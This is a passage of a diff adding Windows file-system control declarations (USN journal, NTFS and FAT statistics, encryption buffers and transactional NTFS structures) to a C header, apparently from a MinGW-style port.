(0x00010000) +#define USN_REASON_COMPRESSION_CHANGE (0x00020000) +#define USN_REASON_ENCRYPTION_CHANGE (0x00040000) +#define USN_REASON_OBJECT_ID_CHANGE (0x00080000) +#define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) +#define USN_REASON_STREAM_CHANGE (0x00200000) +#define USN_REASON_TRANSACTED_CHANGE (0x00400000) +#define USN_REASON_CLOSE (0x80000000) + +typedef struct { + + ULONGLONG UsnJournalID; + USN FirstUsn; + USN NextUsn; + USN LowestValidUsn; + USN MaxUsn; + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; + +typedef struct { + + ULONGLONG UsnJournalID; + ULONG DeleteFlags; + +} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; + +#define USN_DELETE_FLAG_DELETE (0x00000001) +#define USN_DELETE_FLAG_NOTIFY (0x00000002) + +#define USN_DELETE_VALID_FLAGS (0x00000003) + +typedef struct { + + ULONG UsnSourceInfo; + HANDLE VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; + +#if defined(_WIN64) + +typedef struct { + + ULONG UsnSourceInfo; + UINT32 VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; +#endif + +#define USN_SOURCE_DATA_MANAGEMENT (0x00000001) +#define USN_SOURCE_AUXILIARY_DATA (0x00000002) +#define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) + +#define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) +#define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) +#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0601) + +#define MARK_HANDLE_REALTIME (0x00000020) +#define MARK_HANDLE_NOT_REALTIME (0x00000040) + +#define NO_8DOT3_NAME_PRESENT (0x00000001) +#define REMOVED_8DOT3_NAME (0x00000002) + +#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) + +#endif /* _WIN32_WINNT >= 0x0601 */ + + +#if (_WIN32_WINNT >= 0x0500) +typedef struct { + + ACCESS_MASK DesiredAccess; + ULONG SecurityIds[1]; + +} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +#define VOLUME_IS_DIRTY (0x00000001) +#define VOLUME_UPGRADE_SCHEDULED (0x00000002) +#define VOLUME_SESSION_OPEN (0x00000004) +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_PREFETCH { + ULONG Type; + ULONG Count; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH, *PFILE_PREFETCH; + +typedef struct _FILE_PREFETCH_EX { + ULONG Type; + ULONG Count; + PVOID Context; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; + +#define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 +#define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 + +#define FILE_PREFETCH_TYPE_MAX 0x4 + +#endif /* _WIN32_WINNT >= 0x0500 */ + +typedef struct _FILESYSTEM_STATISTICS { + + USHORT FileSystemType; + USHORT Version; // currently version 1 + + ULONG SizeOfCompleteStructure; // must by a mutiple of 64 bytes + + ULONG UserFileReads; + ULONG UserFileReadBytes; + ULONG UserDiskReads; + ULONG UserFileWrites; + ULONG UserFileWriteBytes; + ULONG UserDiskWrites; + + ULONG MetaDataReads; + ULONG MetaDataReadBytes; + ULONG MetaDataDiskReads; + ULONG MetaDataWrites; + ULONG MetaDataWriteBytes; + ULONG MetaDataDiskWrites; +} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; + +// values for FS_STATISTICS.FileSystemType + +#define FILESYSTEM_STATISTICS_TYPE_NTFS 1 +#define FILESYSTEM_STATISTICS_TYPE_FAT 2 +#define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 +typedef struct _FAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} FAT_STATISTICS, *PFAT_STATISTICS; + +typedef struct _EXFAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} EXFAT_STATISTICS, *PEXFAT_STATISTICS; + +typedef struct _NTFS_STATISTICS { + + ULONG LogFileFullExceptions; + ULONG OtherExceptions; + + ULONG MftReads; + ULONG MftReadBytes; + ULONG MftWrites; + ULONG MftWriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftWritesUserLevel; + + USHORT MftWritesFlushForLogFileFull; + USHORT MftWritesLazyWriter; + USHORT MftWritesUserRequest; + + ULONG Mft2Writes; + ULONG Mft2WriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } Mft2WritesUserLevel; + + USHORT Mft2WritesFlushForLogFileFull; + USHORT Mft2WritesLazyWriter; + USHORT Mft2WritesUserRequest; + + ULONG RootIndexReads; + ULONG RootIndexReadBytes; + ULONG RootIndexWrites; + ULONG RootIndexWriteBytes; + + ULONG BitmapReads; + ULONG BitmapReadBytes; + ULONG BitmapWrites; + ULONG BitmapWriteBytes; + + USHORT BitmapWritesFlushForLogFileFull; + USHORT BitmapWritesLazyWriter; + USHORT BitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + } BitmapWritesUserLevel; + + ULONG MftBitmapReads; + ULONG MftBitmapReadBytes; + ULONG MftBitmapWrites; + ULONG MftBitmapWriteBytes; + + USHORT MftBitmapWritesFlushForLogFileFull; + USHORT MftBitmapWritesLazyWriter; + USHORT MftBitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftBitmapWritesUserLevel; + + ULONG UserIndexReads; + ULONG UserIndexReadBytes; + ULONG UserIndexWrites; + ULONG UserIndexWriteBytes; + ULONG LogFileReads; + ULONG LogFileReadBytes; + ULONG LogFileWrites; + ULONG LogFileWriteBytes; + + struct { + ULONG Calls; // number of individual calls to allocate clusters + ULONG Clusters; // number of clusters allocated + ULONG Hints; // number of times a hint was specified + + ULONG RunsReturned; // number of runs used to satisify all the requests + + ULONG HintsHonored; // number of times the hint was useful + ULONG HintsClusters; // number of clusters allocated via the hint + ULONG Cache; // number of times the cache was useful other than the hint + ULONG CacheClusters; // number of clusters allocated via the cache other than the hint + ULONG CacheMiss; // number of times the cache wasn't useful + ULONG CacheMissClusters; // number of clusters allocated without the cache + } Allocate; + +} NTFS_STATISTICS, *PNTFS_STATISTICS; + +#if (_WIN32_WINNT >= 0x0500) + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _FILE_OBJECTID_BUFFER { + + UCHAR ObjectId[16]; + + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } DUMMYSTRUCTNAME; + UCHAR ExtendedInfo[48]; + } DUMMYUNIONNAME; + +} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_SET_SPARSE_BUFFER { + BOOLEAN SetSparse; +} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; + + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ZERO_DATA_INFORMATION { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER BeyondFinalZero; + +} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ALLOCATED_RANGE_BUFFER { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER Length; + +} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _ENCRYPTION_BUFFER { + + ULONG EncryptionOperation; + UCHAR Private[1]; + +} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; + +#define FILE_SET_ENCRYPTION 0x00000001 +#define FILE_CLEAR_ENCRYPTION 0x00000002 +#define STREAM_SET_ENCRYPTION 0x00000003 +#define STREAM_CLEAR_ENCRYPTION 0x00000004 + +#define MAXIMUM_ENCRYPTION_VALUE 0x00000004 + +typedef struct _DECRYPTION_STATUS_BUFFER { + + BOOLEAN NoEncryptedStreams; + +} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; + +#define ENCRYPTION_FORMAT_DEFAULT (0x01) + +#define COMPRESSION_FORMAT_SPARSE (0x4000) + +typedef struct _REQUEST_RAW_ENCRYPTED_DATA { + + LONGLONG FileOffset; + ULONG Length; + +} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; + +typedef struct _ENCRYPTED_DATA_INFO { + + ULONGLONG StartingFileOffset; + + ULONG OutputBufferOffset; + + ULONG BytesWithinFileSize; + + ULONG BytesWithinValidDataLength; + + USHORT CompressionFormat; + + UCHAR DataUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + + UCHAR EncryptionFormat; + + USHORT NumberOfDataBlocks; + + ULONG DataBlockSize[ANYSIZE_ARRAY]; + +} ENCRYPTED_DATA_INFO; +typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _PLEX_READ_DATA_REQUEST { + + LARGE_INTEGER ByteOffset; + ULONG ByteLength; + ULONG PlexNumber; + +} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _SI_COPYFILE { + ULONG SourceFileNameLength; + ULONG DestinationFileNameLength; + ULONG Flags; + WCHAR FileNameBuffer[1]; +} SI_COPYFILE, *PSI_COPYFILE; + +#define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS +#define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. +#define COPYFILE_SIS_FLAGS 0x0003 +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { + BOOLEAN CloseDisc; +} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; + + +typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { + BOOLEAN Disable; +} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; + + +typedef struct _FILE_QUERY_SPARING_BUFFER { + ULONG SparingUnitBytes; + BOOLEAN SoftwareSparing; + ULONG TotalSpareBlocks; + ULONG FreeSpareBlocks; +} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; + + +typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { + LARGE_INTEGER DirectoryCount; // -1 = unknown + LARGE_INTEGER FileCount; // -1 = unknown + USHORT FsFormatMajVersion; // -1 = unknown or n/a + USHORT FsFormatMinVersion; // -1 = unknown or n/a + WCHAR FsFormatName[ 12]; + LARGE_INTEGER FormatTime; + LARGE_INTEGER LastUpdateTime; + WCHAR CopyrightInfo[ 34]; + WCHAR AbstractInfo[ 34]; + WCHAR FormattingImplementationInfo[ 34]; + WCHAR LastModifyingImplementationInfo[ 34]; +} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; + + +#define SET_REPAIR_ENABLED (0x00000001) +#define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) +#define SET_REPAIR_DELETE_CROSSLINK (0x00000004) +#define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) +#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) +#define SET_REPAIR_VALID_MASK (0x0000001F) + +typedef enum _SHRINK_VOLUME_REQUEST_TYPES +{ + ShrinkPrepare = 1, + ShrinkCommit, + ShrinkAbort + +} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; + +typedef struct _SHRINK_VOLUME_INFORMATION +{ + SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; + ULONGLONG Flags; + LONGLONG NewNumberOfSectors; + +} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; + +#define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 +#define TXFS_RM_FLAG_RENAME_RM 0x00000002 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_M_In_ 0x00000008 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 +#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_M_In_ 0x00000100 +#define TXFS_RM_FLAG_GROW_LOG 0x00000400 +#define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 +#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 +#define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 +#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 +#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 +#define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 +#define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 + +#define TXFS_LOGGING_MODE_SIMPLE (0x0001) +#define TXFS_LOGGING_MODE_FULL (0x0002) + +#define TXFS_TRANSACTION_STATE_NONE 0x00 +#define TXFS_TRANSACTION_STATE_ACTIVE 0x01 +#define TXFS_TRANSACTION_STATE_PREPARED 0x02 +#define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 + +#define TXFS_MODIFY_RM_VALID_FLAGS \ + (TXFS_RM_FLAG_LOGGING_MODE | \ + TXFS_RM_FLAG_RENAME_RM | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_M_In_ | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_M_In_ | \ + TXFS_RM_FLAG_SHRINK_LOG | \ + TXFS_RM_FLAG_GROW_LOG | \ + TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ + TXFS_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_MODIFY_RM { + + // + // TXFS_RM_FLAG_* flags + // + + ULONG Flags; + + // + // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. + // + + ULONG LogContainerCountMax; + + // + // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_M_In_ is set. + // + + ULONG LogContainerCountMin; + + // + // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. + // + + ULONG LogContainerCount; + + // + // When the log is full, increase its size by this much. Indicated as either a percent of + // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* + // flags is set. + // + + ULONG LogGrowthIncrement; + + // + // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink + // makes the log shrink so that no more than this percentage of the log is free at any time. + // + + ULONG LogAutoShrinkPercentage; + + // + // Reserved. + // + + ULONGLONG Reserved; + + // + // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE + // or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + +} TXFS_MODIFY_RM, + *PTXFS_MODIFY_RM; + +#define TXFS_RM_STATE_NOT_STARTED 0 +#define TXFS_RM_STATE_STARTING 1 +#define TXFS_RM_STATE_ACTIVE 2 +#define TXFS_RM_STATE_SHUTTING_DOWN 3 + +#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ + (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_M_In_ | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_QUERY_RM_INFORMATION { + + ULONG BytesRequired; + + ULONGLONG TailLsn; + ULONGLONG CurrentLsn; + ULONGLONG ArchiveTailLsn; + ULONGLONG LogContainerSize; + LARGE_INTEGER HighestVirtualClock; + ULONG LogContainerCount; + ULONG LogContainerCountMax; + ULONG LogContainerCountMin; + ULONG LogGrowthIncrement; + ULONG LogAutoShrinkPercentage; + ULONG Flags; + + // + // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + + // + // Reserved. + // + + USHORT Reserved; + + // + // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. + // + + ULONG RmState; + + // + // Total capacity of the log in bytes. + // + + ULONGLONG LogCapacity; + + // + // Amount of free space in the log in bytes. + // + + ULONGLONG LogFree; + + // + // Size of $Tops in bytes. + // + + ULONGLONG TopsSize; + + // + // Amount of space in $Tops in use. + // + + ULONGLONG TopsUsed; + + // + // Number of transactions active in the RM at the time of the call. + // + + ULONGLONG TransactionCount; + + // + // Total number of single-phase commits that have happened the RM. + // + + ULONGLONG OnePCCount; + + // + // Total number of two-phase commits that have happened the RM. + // + + ULONGLONG TwoPCCount; + + // + // Number of times the log has filled up. + // + + ULONGLONG NumberLogFileFull; + + // + // Age of oldest active transaction in the RM, in milliseconds. + // + + ULONGLONG OldestTransactionAge; + + GUID RMName; + + ULONG TmLogPathOffset; + +} TXFS_QUERY_RM_INFORMATION, + *PTXFS_QUERY_RM_INFORMATION; + +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 + +#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ + (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ + TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) + +typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { + LARGE_INTEGER LastVirtualClock; + ULONGLONG LastRedoLsn; + ULONGLONG HighestRecoveryLsn; + ULONG Flags; +} TXFS_ROLLFORWARD_REDO_INFORMATION, + *PTXFS_ROLLFORWARD_REDO_INFORMATION; + +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_M_In_ 0x00000002 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 +#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_M_In_ 0x00000080 + +#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 +#define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 +#define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 + +#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 +#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 + +#define TXFS_START_RM_VALID_FLAGS \ + (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_M_In_ | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ + TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOGGING_MODE | \ + TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_START_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_START_RM_INFORMATION { + + // + // TXFS_START_RM_FLAG_* flags. + // + + ULONG Flags; + + // + // RM log container size, in bytes. This parameter is optional. + // + + ULONGLONG LogContainerSize; + + // + // RM minimum log container count. This parameter is optional. + // + + ULONG LogContainerCountMin; + + // + // RM maximum log container count. This parameter is optional. + // + + ULONG LogContainerCountMax; + + // + // RM log growth increment in number of containers or percent, as indicated + // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is + // optional. + // + + ULONG LogGrowthIncrement; + + // + // RM log auto shrink percentage. This parameter is optional. + // + + ULONG LogAutoShrinkPercentage; + + // + // Offset from the beginning of this structure to the log path for the KTM + // instance to be used by this RM. This must be a two-byte (WCHAR) aligned + // value. This parameter is required. + // + + ULONG TmLogPathOffset; + + // + // Length in bytes of log path for the KTM instance to be used by this RM. + // This parameter is required. + // + + USHORT TmLogPathLength; + + // + // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or + // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, + // and will default to TXFS_LOGGING_MODE_SIMPLE. + // + + USHORT LoggingMode; + + // + // Length in bytes of the path to the log to be used by the RM. This parameter + // is required. + // + + USHORT LogPathLength; + + // + // Reserved. + // + + USHORT Reserved; + + // + // The path to the log (in Unicode characters) to be used by the RM goes here. + // This parameter is required. + // + + WCHAR LogPath[1]; + +} TXFS_START_RM_INFORMATION, + *PTXFS_START_RM_INFORMATION; + +// +// Structures for FSCTL_TXFS_GET_METADATA_INFO +// + +typedef struct _TXFS_GET_METADATA_INFO__Out_ { + + // + // Returns the TxfId of the file referenced by the handle used to call this routine. + // + + struct { + LONGLONG LowPart; + LONGLONG HighPart; + } TxfFileId; + + // + // The GUID of the transaction that has the file locked, if applicable. + // + + GUID LockingTransaction; + + // + // Returns the LSN for the most recent log record we've written for the file. + // + + ULONGLONG LastLsn; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + +} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; + +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { + + // + // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES + // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; + + // + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the + // current name was deleted or created in the transaction. + // + + ULONG NameFlags; + + // + // NTFS File ID of the file. + // + + LONGLONG FileId; + + // + // Reserved. + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; + + // + // NULL-terminated Unicode path to this file, relative to RM root. + // + + WCHAR FileName[1]; +} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; + + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { + + // + // GUID name of the KTM transaction that files should be enumerated from. + // + + GUID KtmTransaction; + + // + // On output, the number of files involved in the transaction on this RM. + // + + ULONGLONG NumberOfFiles; + + // + // The length of the buffer required to obtain the complete list of files. + // This value may change from call to call as the transaction locks more files. + // + + ULONGLONG BufferSizeRequired; + + // + // Offset in bytes from the beginning of this structure to the first + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; +} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; + +// +// Structures for FSCTL_TXFS_LIST_TRANSACTIONS +// + +typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { + + // + // Transaction GUID. + // + + GUID TransactionId; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + + // + // Reserved fields + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; +} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; + +typedef struct _TXFS_LIST_TRANSACTIONS { + + // + // On output, the number of transactions involved in this RM. + // + + ULONGLONG NumberOfTransactions; + + // + // The length of the buffer required to obtain the complete list of + // transactions. Note that this value may change from call to call + // as transactions enter and exit the system. + // + + ULONGLONG BufferSizeRequired; +} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _TXFS_READ_BACKUP_INFORMATION__Out_ { + union { + + // + // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW + // + + ULONG BufferLength; + + // + // On success the data is copied here. + // + + UCHAR Buffer[1]; + } DUMMYUNIONNAME; +} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) +#endif + +typedef struct _TXFS_WRITE_BACKUP_INFORMATION { + UCHAR Buffer[1]; +} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; + +#define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE +#define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF + +typedef struct _TXFS_GET_TRANSACTED_VERSION { + + // + // The version that this handle is opened to. This will be + // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and + // transactional writer handles. + // + + ULONG ThisBaseVersion; + + // + // The most recent committed version available. + // + + ULONG LatestVersion; + + // + // If this is a handle to a miniversion, the ID of the miniversion. + // If it is not a handle to a minivers, this field will be 0. + // + + USHORT ThisMiniVersion; + + // + // The first available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT FirstMiniVersion; + + // + // The latest available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT LatestMiniVersion; + +} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; + + +#define TXFS_SAVEPOINT_SET 0x00000001 + +// +// Roll back to a specified savepoint. +// + +#define TXFS_SAVEPOINT_ROLLBACK 0x00000002 + +// +// Clear (make unavailable for rollback) the most recently set savepoint +// that has not yet been cleared. +// + +#define TXFS_SAVEPOINT_CLEAR 0x00000004 + +// +// Clear all savepoints from the transaction. +// + +#define TXFS_SAVEPOINT_CLEAR_ALL 